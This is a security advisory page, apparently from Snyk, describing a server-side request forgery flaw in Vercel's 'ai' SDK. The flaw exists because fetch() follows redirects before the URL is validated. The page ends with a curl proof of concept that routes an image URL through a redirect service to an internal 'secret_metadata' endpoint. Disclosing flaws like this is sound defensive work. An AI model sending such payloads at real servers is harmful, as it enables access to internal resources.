Server-side Request Forgery (SSRF) Affecting ai package, versions *
Threat Intelligence
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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- published18 May 2026
- disclosed18 May 2026
- creditEric-f
Introduced: 18 May 2026
NewCVE-2026-8768 (opens in a new tab)How to fix?
There is no fixed version for ai.
Overview
ai is an AI SDK by Vercel - The AI Toolkit for TypeScript and JavaScript
Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) due to the order of operations in the validateDownloadUrl() implementation in download-blob.ts and download.ts. The fetch() operation called before applying validateDownloadUrl() follows redirects by default. This open redirect response is blocked by the SSRF protection such that it never makes it back to the application or the attacker, but the request made to the redirect target may still succeed, allowing operations on or disruption of internal resources.
PoC
curl -X POST http://127.0.0.1:3000/api/chat \
-H "Content-Type: application/json" \
-d '{"imageUrl": "http://httpbin.org/redirect-to?url=http%3A%2F%2F127.0.0.1%3A8560%2Fsecret_metadata"}'